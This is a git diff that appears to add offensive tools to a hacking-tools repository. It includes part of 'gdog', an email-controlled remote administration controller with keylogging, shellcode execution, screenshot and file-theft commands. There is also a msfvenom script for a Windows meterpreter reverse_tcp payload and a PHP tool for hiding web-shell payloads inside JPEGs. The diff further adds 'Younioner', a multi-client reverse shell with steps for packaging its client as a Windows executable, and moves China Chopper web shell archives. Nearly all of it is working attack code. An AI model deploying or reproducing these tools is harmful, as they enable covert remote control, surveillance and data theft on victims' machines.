+ rcode, idlist = self.c.uid('search', None, "(SUBJECT 'dmp:{}:{}')".format(botid, jobid)) + + for idn in idlist[0].split(): + msg_data = self.c.uid('fetch', idn, '(RFC822)') + msg = MessageParser(msg_data) + + print "DATE: '{}'".format(msg.date) + print "JOBID: " + jobid + print "FG WINDOWS: '{}'".format(msg.dict['fgwindow']) + print "CMD: '{}'".format(msg.dict['msg']['cmd']) + print '' + print "'{}'\n".format(msg.dict['msg']['res']) + #print msg.dict['msg']['res'] + '\n' + + if msg.attachment: + + if msg.dict['msg']['cmd'] == 'screenshot': + imgname = '{}-{}.png'.format(botid, jobid) + with open("./data/" + imgname, 'wb') as image: + image.write(b64decode(msg.attachment)) + image.close() + + print "[*] Screenshot saved to ./data/" + imgname + + elif msg.dict['msg']['cmd'] == 'download': + filename = "{}-{}".format(botid, jobid) + with open("./data/" + filename, 'wb') as dfile: + dfile.write(b64decode(msg.attachment)) + dfile.close() + + print "[*] Downloaded file saved to ./data/" + filename + + def logout(self): + self.c.logout() + + +if __name__ == '__main__': + + parser = argparse.ArgumentParser(description=""" + __ + ____ _____/ /___ ____ _ + / __ `/ __ / __ \/ __ `/ + / /_/ / /_/ / /_/ / /_/ / + \__, /\__,_/\____/\__, / + /____/ /____/ + +""", + version='1.0.0', + formatter_class=RawTextHelpFormatter) + + parser.add_argument("-id", dest='id', type=str, default=None, help="Client to target") + parser.add_argument('-jobid', dest='jobid', default=None, type=str, help='Job id to retrieve') + + agroup = parser.add_argument_group() + blogopts = agroup.add_mutually_exclusive_group() + blogopts.add_argument("-list", dest="list", action="store_true", help="List available clients") + blogopts.add_argument("-info", dest='info', action='store_true', help='Retrieve info on specified client') + + sgroup = parser.add_argument_group("Commands", "Commands to execute on a client") + slogopts = sgroup.add_mutually_exclusive_group() + slogopts.add_argument("-cmd", metavar='CMD', dest='cmd', type=str, help='Execute a system command') + slogopts.add_argument("-visitwebsite", metavar='URL', dest='visitwebsite', type=str, help='Visit website') + slogopts.add_argument("-message", metavar=('TEXT', 'TITLE'), nargs=2, type=str, help='Show message to user') + slogopts.add_argument("-tasks", dest='tasks', action='store_true', help='Retrieve running processes') + slogopts.add_argument("-services", dest='services', action='store_true', help='Retrieve system services') + slogopts.add_argument("-users", dest='users', action='store_true', help='Retrieve system users') + slogopts.add_argument("-devices", dest='devices', action='store_true', help='Retrieve devices(Hardware)') + slogopts.add_argument("-download", metavar='PATH', dest='download', type=str, help='Download a file from a clients system') + slogopts.add_argument("-download-fromurl", metavar='URL', dest='fromurl', type=str, help='Download a file from the web') + slogopts.add_argument("-upload", nargs=2, metavar=('SRC', 'DST'), help="Upload a file to the clients system") + slogopts.add_argument("-exec-shellcode", metavar='FILE',type=argparse.FileType('rb'), dest='shellcode', help='Execute supplied shellcode on a client') + slogopts.add_argument("-screenshot", dest='screen', action='store_true', help='Take a screenshot') + slogopts.add_argument("-lock-screen", dest='lockscreen', action='store_true', help='Lock the clients screen') + slogopts.add_argument("-shutdown", dest='shutdown', action='store_true', help='Shutdown remote computer') + slogopts.add_argument("-restart", dest='restart', action='store_true', help='Restart remote computer') + slogopts.add_argument("-logoff", dest='logoff', action='store_true', help='Log off current remote user') + slogopts.add_argument("-force-checkin", dest='forcecheckin', action='store_true', help='Force a check in') + slogopts.add_argument("-start-keylogger", dest='keylogger', action='store_true', help='Start keylogger') + slogopts.add_argument("-stop-keylogger", dest='stopkeylogger', action='store_true', help='Stop keylogger') + slogopts.add_argument("-email-checkin",type=int, metavar='CHECK', dest='email_check', help='Seconds to wait before checking for new commands') + slogopts.add_argument("-jitter", metavar='jit',type=int, dest='jitter', help='Percentage of Jitter') + + if len(sys.argv) is 1: + parser.print_help() + sys.exit() + + args = parser.parse_args() + + gdog = Gdog() + jobid = generateJobID() + + if args.list: + gdog.checkBots() + + elif args.info: + gdog.getBotInfo(args.id) + + elif args.cmd: + gdog.sendEmail(args.id, jobid, 'cmd', args.cmd) + + elif args.visitwebsite: + gdog.sendEmail(args.id, jobid, 'visitwebsite', args.visitwebsite) + + elif args.message: + gdog.sendEmail(args.id, jobid, 'message', args.message) + + elif args.tasks: + gdog.sendEmail(args.id, jobid, 'tasks') + + elif args.services: + gdog.sendEmail(args.id, jobid, 'services') + + elif args.users: + gdog.sendEmail(args.id, jobid, 'users') + + elif args.devices: + gdog.sendEmail(args.id, jobid, 'devices') + + elif args.shellcode: + gdog.sendEmail(args.id, jobid, 'execshellcode', args.shellcode.read().strip()) + + elif args.download: + gdog.sendEmail(args.id, jobid, 'download', r'{}'.format(args.download)) + + elif args.fromurl: + gdog.sendEmail(args.id, jobid, 'downloadfromurl', r'{}'.format(args.fromurl)) + + elif args.upload: + gdog.sendEmail(args.id, jobid, 'upload', r'{}'.format(args.upload[1]), [args.upload[0]]) + + elif args.screen: + gdog.sendEmail(args.id, jobid, 'screenshot') + + elif args.lockscreen: + gdog.sendEmail(args.id, jobid, 'lockscreen') + + elif args.shutdown: + gdog.sendEmail(args.id, jobid, 'shutdown') + + elif args.restart: + gdog.sendEmail(args.id, jobid, 'restart') + + elif args.logoff: + gdog.sendEmail(args.id, jobid, 'logoff') + + elif args.forcecheckin: + gdog.sendEmail(args.id, jobid, 'forcecheckin') + + elif args.keylogger: + gdog.sendEmail(args.id, jobid, 'startkeylogger') + + elif args.stopkeylogger: + gdog.sendEmail(args.id, jobid, 'stopkeylogger') + + elif args.email_check: + gdog.sendEmail(args.id, jobid, 'email_check', args.email_check) + + elif args.jitter: + gdog.sendEmail(args.id, jobid, 'jitter', args.jitter) + + elif args.jobid: + gdog.getJobResults(args.id, args.jobid) + diff --git a/gdog/requirements.txt b/gdog/requirements.txt new file mode 100644 index 0000000..c234059 --- /dev/null +++ b/gdog/requirements.txt @@ -0,0 +1,4 @@ +pycrypto +wmi +enum34 +netifaces \ No newline at end of file diff --git a/gdog/shellcode_generate.py b/gdog/shellcode_generate.py new file mode 100644 index 0000000..ec9dd16 --- /dev/null +++ b/gdog/shellcode_generate.py @@ -0,0 +1,22 @@ +# quick script that generates the proper format for the shellcode to feed into pyinjector +# generates powershell payload from @trustedsec pyinjector +import subprocess,re +def generate_powershell_shellcode(payload,ipaddr,port): + # grab the metasploit path + msf_path = "/usr/local/share/metasploit-framework/" + # generate payload + proc = subprocess.Popen("%smsfvenom -p %s LHOST=%s LPORT=%s -a x86 --platform Windows EXITFUNC=thread -f python" % (msf_path,payload,ipaddr,port), stdout=subprocess.PIPE, shell=True) + data = proc.communicate()[0] + # start to format this a bit to get it ready + data = data.replace(";", "") + data = data.replace(" ", "") + data = data.replace("+", "") + data = data.replace('"', "") + data = data.replace("\n", "") + data = data.replace("buf=", "") + data = data.rstrip() + # base counter + print data + + +generate_powershell_shellcode("windows/meterpreter/reverse_tcp", "172.16.153.1", "4444") \ No newline at end of file diff --git "a/\344\270\200\345\217\245\350\257\235/ASP_Client.html" b/misc/ASP_Client.html similarity index 100% rename from "\344\270\200\345\217\245\350\257\235/ASP_Client.html" rename to misc/ASP_Client.html diff --git "a/\344\270\200\345\217\245\350\257\235/Asp_Aspx_Php_By_HUC.jpg" b/misc/Asp_Aspx_Php_V1.jpg similarity index 100% rename from "\344\270\200\345\217\245\350\257\235/Asp_Aspx_Php_By_HUC.jpg" rename to misc/Asp_Aspx_Php_V1.jpg diff --git "a/\344\270\200\345\217\245\350\257\235/Asp_Aspx_Php_ By_TNT.txt" b/misc/Asp_Aspx_Php_V2.jpg similarity index 100% rename from "\344\270\200\345\217\245\350\257\235/Asp_Aspx_Php_ By_TNT.txt" rename to misc/Asp_Aspx_Php_V2.jpg diff --git "a/\344\270\200\345\217\245\350\257\235/Asp_Aspx_Php\344\270\200\345\217\245\350\257\235\345\220\210\351\233\206.txt" "b/misc/Asp_Aspx_Php\344\270\200\345\217\245\350\257\235\345\220\210\351\233\206.txt" similarity index 100% rename from "\344\270\200\345\217\245\350\257\235/Asp_Aspx_Php\344\270\200\345\217\245\350\257\235\345\220\210\351\233\206.txt" rename to "misc/Asp_Aspx_Php\344\270\200\345\217\245\350\257\235\345\220\210\351\233\206.txt" diff --git "a/\344\270\200\345\217\245\350\257\235/caidao-20141213.zip" b/misc/caidao-20141213.zip similarity index 100% rename from "\344\270\200\345\217\245\350\257\235/caidao-20141213.zip" rename to misc/caidao-20141213.zip diff --git a/misc/caidao-20160622.zip b/misc/caidao-20160622.zip new file mode 100644 index 0000000..e9b6d35 Binary files /dev/null and b/misc/caidao-20160622.zip differ diff --git a/misc/jpg_payload.php b/misc/jpg_payload.php new file mode 100755 index 0000000..3a734ba --- /dev/null +++ b/misc/jpg_payload.php @@ -0,0 +1,168 @@ + + + In case of successful injection you will get a specially crafted image, which should be uploaded again. + + Since the most straightforward injection method is used, the following problems can occur: + 1) After the second processing the injected data may become partially corrupted. + 2) The jpg_payload.php script outputs "Something's wrong". + If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. + + Sergey Bobrov @Black2Fan. + + See also: + https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ + + */ + + $miniPayload = ''; + + if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { + die('php-gd is not installed'); + } + + if(!isset($argv[1])) { + die('php jpg_payload.php '); + } + + set_error_handler("custom_error_handler"); + + for($pad = 0; $pad < 1024; $pad++) { + $nullbytePayloadSize = $pad; + $dis = new DataInputStream($argv[1]); + $outStream = file_get_contents($argv[1]); + $extraBytes = 0; + $correctImage = TRUE; + + if($dis->readShort() != 0xFFD8) { + die('Incorrect SOI marker'); + } + + while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { + $marker = $dis->readByte(); + $size = $dis->readShort() - 2; + $dis->skip($size); + if($marker === 0xDA) { + $startPos = $dis->seek(); + $outStreamTmp = + substr($outStream, 0, $startPos) . + $miniPayload . + str_repeat("\0",$nullbytePayloadSize) . + substr($outStream, $startPos); + checkImage('_'.$argv[1], $outStreamTmp, TRUE); + if($extraBytes !== 0) { + while((!$dis->eof())) { + if($dis->readByte() === 0xFF) { + if($dis->readByte !== 0x00) { + break; + } + } + } + $stopPos = $dis->seek() - 2; + $imageStreamSize = $stopPos - $startPos; + $outStream = + substr($outStream, 0, $startPos) . + $miniPayload . + substr( + str_repeat("\0",$nullbytePayloadSize). + substr($outStream, $startPos, $imageStreamSize), + 0, + $nullbytePayloadSize+$imageStreamSize-$extraBytes) . + substr($outStream, $stopPos); + } elseif($correctImage) { + $outStream = $outStreamTmp; + } else { + break; + } + if(checkImage('payload_'.$argv[1], $outStream)) { + die('Success!'); + } else { + break; + } + } + } + } + unlink('payload_'.$argv[1]); + die('Something\'s wrong'); + + function checkImage($filename, $data, $unlink = FALSE) { + global $correctImage; + file_put_contents($filename, $data); + $correctImage = TRUE; + imagecreatefromjpeg($filename); + if($unlink) + unlink($filename); + return $correctImage; + } + + function custom_error_handler($errno, $errstr, $errfile, $errline) { + global $extraBytes, $correctImage; + $correctImage = FALSE; + if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { + if(isset($m[1])) { + $extraBytes = (int)$m[1]; + } + } + } + + class DataInputStream { + private $binData; + private $order; + private $size; + + public function __construct($filename, $order = false, $fromString = false) { + $this->binData = ''; + $this->order = $order; + if(!$fromString) { + if(!file_exists($filename) || !is_file($filename)) + die('File not exists ['.$filename.']'); + $this->binData = file_get_contents($filename); + } else { + $this->binData = $filename; + } + $this->size = strlen($this->binData); + } + + public function seek() { + return ($this->size - strlen($this->binData)); + } + + public function skip($skip) { + $this->binData = substr($this->binData, $skip); + } + + public function readByte() { + if($this->eof()) { + die('End Of File'); + } + $byte = substr($this->binData, 0, 1); + $this->binData = substr($this->binData, 1); + return ord($byte); + } + + public function readShort() { + if(strlen($this->binData) < 2) { + die('End Of File'); + } + $short = substr($this->binData, 0, 2); + $this->binData = substr($this->binData, 2); + if($this->order) { + $short = (ord($short[1]) << 8) + ord($short[0]); + } else { + $short = (ord($short[0]) << 8) + ord($short[1]); + } + return $short; + } + + public function eof() { + return !$this->binData||(strlen($this->binData) === 0); + } + } +?> diff --git "a/\344\270\200\345\217\245\350\257\235/\345\220\210\346\210\220\345\233\276\347\211\207\351\251\254\345\221\275\344\273\244.txt" "b/misc/\345\220\210\346\210\220\345\233\276\347\211\207\351\251\254\345\221\275\344\273\244.txt" similarity index 100% rename from "\344\270\200\345\217\245\350\257\235/\345\220\210\346\210\220\345\233\276\347\211\207\351\251\254\345\221\275\344\273\244.txt" rename to "misc/\345\220\210\346\210\220\345\233\276\347\211\207\351\251\254\345\221\275\344\273\244.txt" diff --git "a/\344\270\200\345\217\245\350\257\235/\351\233\266\351\255\202PHP\344\270\200\345\217\245\350\257\235\346\234\250\351\251\254\345\256\242\346\210\267\347\253\257.htm" "b/misc/\351\233\266\351\255\202PHP\344\270\200\345\217\245\350\257\235\346\234\250\351\251\254\345\256\242\346\210\267\347\253\257.htm" similarity index 100% rename from "\344\270\200\345\217\245\350\257\235/\351\233\266\351\255\202PHP\344\270\200\345\217\245\350\257\235\346\234\250\351\251\254\345\256\242\346\210\267\347\253\257.htm" rename to "misc/\351\233\266\351\255\202PHP\344\270\200\345\217\245\350\257\235\346\234\250\351\251\254\345\256\242\346\210\267\347\253\257.htm" diff --git a/python/python3/Client.py b/python/python3/Client.py new file mode 100644 index 0000000..7b78d51 --- /dev/null +++ b/python/python3/Client.py @@ -0,0 +1,77 @@ +from socket import * +import subprocess +import os +import time +import sys + +ip = '192.168.1.88' # server ip, which you want to connect to +port = 4343 # the port needs to be the same as server.py port in order to connect with server + +class Client: + def __init__(self, _host, _port=3434): + self.host = _host + self.port = _port + self.s = None + + self.launch() + + # run younioner + def launch(self): + try: + self.open_socket() + self.receive_commands() + self.chat() + + except error as e: + time.sleep(6) + self.launch() + + # will create the socket + def open_socket(self): + try: + self.s = socket(AF_INET, SOCK_STREAM) + self.s.connect((self.host, self.port)) + + except: + time.sleep(5) + self.open_socket() + + # receive commands from the Server + def receive_commands(self): + try: + while True: + data = self.s.recv(1024) + striped_data = data[:].strip().decode("utf-8") + + if striped_data[:2] == 'cd': + os.chdir(striped_data[3:]) + + if len(data) > 0: + try: + cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stderr=subprocess.PIPE, + stdout=subprocess.PIPE, stdin=subprocess.PIPE) + result = str(cmd.stdout.read() + cmd.stderr.read(), "utf-8") + + self.s.send(str.encode(result + str(os.getcwd()) + " > ")) + except: + result = "Command not recognized \n" + self.s.send(str.encode(result + str(os.getcwd()) + " > ")) + + + # this condition will work when the user quit server.py + if striped_data == "end-of-session": + time.sleep(2) + self.s.close() + sys.exit(0) + os._exit(0) + exit(0) + quit(0) + + self.s.close() + + except: + time.sleep(5) + self.receive_commands() + +if __name__ == '__main__': + c = Client(ip, port) diff --git a/python/python3/README.md b/python/python3/README.md new file mode 100644 index 0000000..cf87b4e --- /dev/null +++ b/python/python3/README.md @@ -0,0 +1,53 @@ +# Younioner +Younioner is **multipale client** reverse shell created by Ayoub Ouakkaha, which is now under development + +## How to use it +once you download the project(click on download zip button ) +You can run this directly as python3 script +* **windows** +just write the command below in command prompt +`python Server.py` +to run Client just change Server.py with Client.py module: +`python Client.py` + +* **Linux** +you can run this also inside linux OS using bellow commands +`python3 Server.py` +to run Client just change Server.py with Client.py module: +`python3 Client.py` + +## Make it Executable: +instead of running python client.py every time we want to run the client module you can do this inside **windows** Using Py2Exe Library, after bellow proccess you will have .exe ready to run in anywhere without python, just follow me + +1. download and install the library using this link [sourceforge](https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/) + +2. with in command Prompt and inside the directory which you download the Younioner into run this command: +`python setup.py install` +3. that's it now you will be able to see dist folder just open it and you find **Client.exe** executable(its the one) + +To Do this Linux i only know one library that could get the job done which is **PyInstaller**, you can find more about this process using this link **[pythonhosted's website](https://pythonhosted.org/PyInstaller/)** + +## Younioner Features +Younioner introduce tons of awesome Features, include: + +1. **Multiple Client Support:** this is really important when you're Dealing with all of targets, this feature allow you to take control of each connected target in individual. +2. **Easy interface:** up to this moment **Younioner** project uses terminal or command prompt in windows, we plan to switch to GUI(probably in incoming releases), anyway interface is really simple +3. **Easy commands**: yes no more stupid and complicated commands, **Younioner** offers you easy and realistic commands +4. **All Platforms :** Younioner support all different platforms which includes Mobile(tested on android), Windows, Linux, OS X... +5. **Under Developpement:** Younioner is under developpement which means a lot features are coming soon + +### so what is it Reverse Shell +A reverse shell is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using, code or command execution is achieved. + +### get evolved with the project +we plan to make Younioner a great project, but this won't happen without a cooperation from other developers. +so feel free to join us.. + +### Important +this project was made for security purposes. +you have no right to use this in any device other than yours + +### Contact Me +You can use this email to reach me **ayoub.ouakkaha@gmail.com** + +**MADE WITH PASSION AND LOVE** diff --git a/python/python3/Server.py b/python/python3/Server.py new file mode 100644 index 0000000..3361c6e --- /dev/null +++ b/python/python3/Server.py @@ -0,0 +1,220 @@ +from socket import * +import time +import threading +import sys +import os +from queue import Queue + +queue = Queue() +host = '192.168.1.88' # your computer ip +port = 4343 + + +class Server: + def __init__(self, _host, _port=3434, _max_client=20): + + # Variables used in this class are here + self.host = _host + self.port = _port + self.max_client = _max_client # max amount of expected connections + + # once any client connected + self.all_connection = [] # the connections will be stored here. + self.all_addresses = [] # the addresses will be stored here. + + # create socket + def open_socket(self): + try: + self.s = socket(AF_INET, SOCK_STREAM) + self.s.bind((self.host, self.port)) + + logo = "__ __ _ ____ \n" \ + "\ \ / /__ _ _ _ __ (_) ___ _ __ ___| _ \ \n" \ + " \ V / _ \| | | | '_ \| |/ _ \| '_ \ / _ \ |_) | \n" \ + " | | (_) | |_| | | | | | (_) | | | | __/ _ < \n" \ + " |_|\___/ \__,_|_| |_|_|\___/|_| |_|\___|_| \_\ \n" + + print("\n\tWelcome to Younioner V1.1") + print(logo) + print('Created by Ayoub Ouakkaha, please visit our website www.ouakkaha.com') + print('\ncontact us at contact@ouakkaha.com, type help to display available commands.') + + # listen for one connection :) + self.s.listen(self.max_client) + + except error as e: + print("** Oops Something went wrong error code ", e) + time.sleep(5) # wait for 5s and try again + self.open_socket() + + # accept incoming connection + def accept_connection(self): + for c in self.all_connection: # close the connection list + c.close() + del self.all_connection[:] # clean connection list + del self.all_addresses[:] # clean addresses list + + while True: + try: + conn, address = self.s.accept() + conn.setblocking(1) + self.all_connection.append(conn) + self.all_addresses.append(address) + print("\n* new Connection has been established from {} on {}".format(address[0], address[1])) + print("\nYounioner> ", end="") + except error as e: + print("something went wrong while accepting new connection\n error code: {} \n".format(str(e))) + + # Interactive shell for sending command remotely + def start_younioner(self): + + while True: + cmd = str(input("Younioner> ")) + cmd = cmd.lower() + cmd_stripped = cmd.strip() + + if cmd.strip() == 'list': + self.list_connections() + continue + elif cmd.strip() == "help": + self.displayHelp() + + elif cmd_stripped.startswith("select"): # check command start with `select` word + conn = self.get_target(cmd) + if conn is not None: + self.send_commands(conn) + elif cmd_stripped == "quit": + self.exit() + + else: + print("{} Command not recognized..".format(cmd)) + + # Display the help menu + def displayHelp(self): + """Display The help menu""" + help = "\nthis section will help to understand the basic commands: " \ + "\n\nlist............ It will list availabel connection..Usage(just type : `list`)"\ + "\n\nselect.......... used to select a connection to target.. the target number needs be availabel on list section Usage(select 1) or change the number 1 to the target ID"\ + "\n\nquit............ used to close the current connection .. or if you don't have one it will close the script"\ + "\n\nhelp............ as you might guess, it will print the help Menu, which you're looking to now.:)"\ + "\n\nend-of-session.. this is really advance command..this command will delet your trace from the target command, for example it will delet the current running script on the target command which is(Client) "\ + "\n\nIf you liked Our app and you want to help us for providing more and more.. please contact us at contact@ouakkaha.com or visit my site www.ouakkaha.com\nanyway thanks for using my app, be sure to have a greate day :)" + + + print(help) + # Exit Reverse Shell + def exit(self): + for c in self.all_connection: + try: + c.send(str.encode("end-of-session")) + c.shutdown(2) + c.close() + except Exception as e: + print('Could not close connection ' + str(e)) + + self.s.close() + print("\n Good By, please have a nice day :) ") + + # this will be over need but believe me, some times the module refuse to exit.. + # this is why i try each of this method cause at the end one of theme should work.. + os._exit(0) + sys.exit() + quit(0) + exit(0) + + + # this will display all current connection + def list_connections(self): + rs = '' + for i, conn in enumerate(self.all_connection): # Enumerate will count number of loop + try: # we will test if conn are working.. + conn.send(str.encode(' ')) # send blank to test if conn is working., + conn.recv(20240) + except: # this will ocure if conn is null + del self.all_connection[i] + del self.all_addresses[i] + continue # go to next loop do not execut the next line.. + rs += str(i) + '\t' + str(self.all_addresses[i][0]) + '\t' + str(self.all_addresses[i][1]) + '\n' + + + print("Currently Available Targets") + print("ID\tIP\t\t\t\tPORT\n" + rs) + + # Select a target client + def get_target(self, cmd): + target = cmd.replace('select ', '') + try: + target = int(target) + except: + print("Target index should be integer.") + return None + try: + conn = self.all_connection[target] + except: + print("Not Invalid Selection..") + return None + + print("You are now connected to", self.all_addresses[target][0]) + print("Younioner.{} >> ".format(self.all_addresses[target][0]), end="") + return conn + + # Connect with the target + def send_commands(self, conn): + while True: + try: + cmd = str(input()) + + if len(cmd) > 0: + conn.send(str.encode(cmd)) + client_response = str(conn.recv(20480), "utf-8") + print(client_response, end="") + + # confirm quit + if cmd == "quit": + print("\nAre you sure, the socket will be closed for this moment..") + confirm = str.upper(input("\t N / y >> ")) + if confirm == "Y": + break + + except: + print("[!] Connection was lost ") + break + +# Setting up threads +def setup_threads(): + server = Server('', port) + for _ in range(2): + t = threading.Thread(target=work, args=(server,)) + t.daemon = True # It means when the script got closed the thread also will exit from process + t.start() + return + + +# Do the next job in the queue(1: handles connection, other sends commands and get response back) +def work(server): + while True: + x = queue.get() + if x == 0: # 0: handles connection + server.open_socket() + server.accept_connection() + if x == 1: # 1: sends commands to target machine + server.start_younioner() + queue.task_done() # [Done] jobs are done with success + return + + +# Each list item is a new job +def create_jobs(): + for x in range(2): + queue.put(x) + queue.join() + return + +# the main function +def main(): + setup_threads() + create_jobs() + + +if __name__ == '__main__': + main() diff --git a/python/python3/about.txt b/python/python3/about.txt new file mode 100644 index 0000000..6babc4a --- /dev/null +++ b/python/python3/about.txt @@ -0,0 +1,19 @@ + +\ \ / /__ _ _ _ __ (_) ___ _ __ ___| _ \ + \ V / _ \| | | | '_ \| |/ _ \| '_ \ / _ \ |_) | + | | (_) | |_| | | | | | (_) | | | | __/ _ < + |_|\___/ \__,_|_| |_|_|\___/|_| |_|\___|_| \_\ + + +Younioner Version 1.1 - created by Ayoub Ouakkaha. +the ide behind the project is to make a simple tool let you take controle over your devices. +up to now Younioner project is just a reverse shell, but i hope i could add this features in incoming release + * G.U.I support : yes i plan to make the project support graphical user interface.. + * Key Capture: yes younioner will include the key capture feature probably this feature will work only in windows.. but we will sya :) + * Screen Capture + * Executable Client: you'll have the option to genrate either client.py or client.exe + +please help us to develope the next version of Younioner 1.2 +for more contact me on : +ayoub.ouakkaha@gmail.com +thanks in advance. diff --git a/python/python3/setup.py b/python/python3/setup.py new file mode 100644 index 0000000..c07f4e7 --- /dev/null +++ b/python/python3/setup.py @@ -0,0 +1,3 @@ +from distutils.core import setup + +setup(console=['Client.py'])